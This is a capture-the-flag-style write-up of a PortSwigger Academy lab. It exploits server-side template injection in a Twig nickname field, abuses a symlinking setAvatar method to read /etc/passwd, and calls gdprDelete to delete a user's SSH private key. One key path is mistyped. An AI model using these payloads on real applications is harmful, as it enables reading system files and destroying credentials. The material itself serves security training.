> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/ssti/ssti-with-custom-exploit.md).
# SSTI with a Custom Exploit
SSTI with a Custom Exploit notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Server-side Template Injection with a Custom Exploit
The application is susceptible to an SSTI injection. / The goal is to create a custom **exploit** that allows you to remove the `/home/carlos/.ssh/id_rsa`\*\* file. / Possible connection with user: `wiener:peter`.
#### Point Injectable
The **nickname** field is vulnerable:
```python
}}{{7*7
```
Expression is evaluated.
By triggering an error:
```php
}}{{7/a
```
It is discovered that the engine used is **Twig (PHP)**.
#### Diversion of the Function of D
It is possible to define a custom avatar via:
```php
user.setAvatar(PATH, 'image/jpg')
```
This mechanism creates a **symlink** to any readable file. / Thus, you can recover your content by downloading theavatar.
#### Example
Lire `/etc/passwd`
```php
user.setAvatar('/etc/passwd','image/jpg')
```
The file is accessible when opening the image
#### Code Analysis `User.php`
The `/home/carlos/User.php` file reveals:
\*\*The `gdprDelete()` function actually removes the file pointed by the symbolic link. \*\*/ This is exactly what one should use to erase `id_rsa`.
```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```
```php
username = $username;
$this->name = $name;
$this->first_name = $first_name;
$this->nickname = $nickname;
$this->user_dir = "users/" . $this->username;
$this->avatarLink = $this->user_dir . "/avatar";
if (!file_exists($this->user_dir)) {
if (!mkdir($this->user_dir, 0755, true))
{
throw new Exception("Could not mkdir users/" . $this->username);
}
}
}
public function setAvatar($filename, $mimetype) {
if (strpos($mimetype, "image/") !== 0) {
throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
}
if (is_link($this->avatarLink)) {
$this->rm($this->avatarLink);
}
if (!symlink($filename, $this->avatarLink)) {
throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
}
}
public function gdprDelete() {
$this->rm(readlink($this->avatarLink));
$this->rm($this->avatarLink);
$this->delete();
}
private function rm($filename) {
if (!unlink($filename)) {
throw new Exception("Could not delete " . $filename);
}
}
}
?>
```
#### Operation: Removal of `/home/carlos/.ssh/id_rsa`
Create a symlink to Carlos SSH key
```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```
Trigger removal via:
```php
user.gdprDelete()
```
The symbolic link points to `id_rsa`/ `gdprDelete()` erases the **target** link \*\*`id_rsa` file is deleted. \*\*
---
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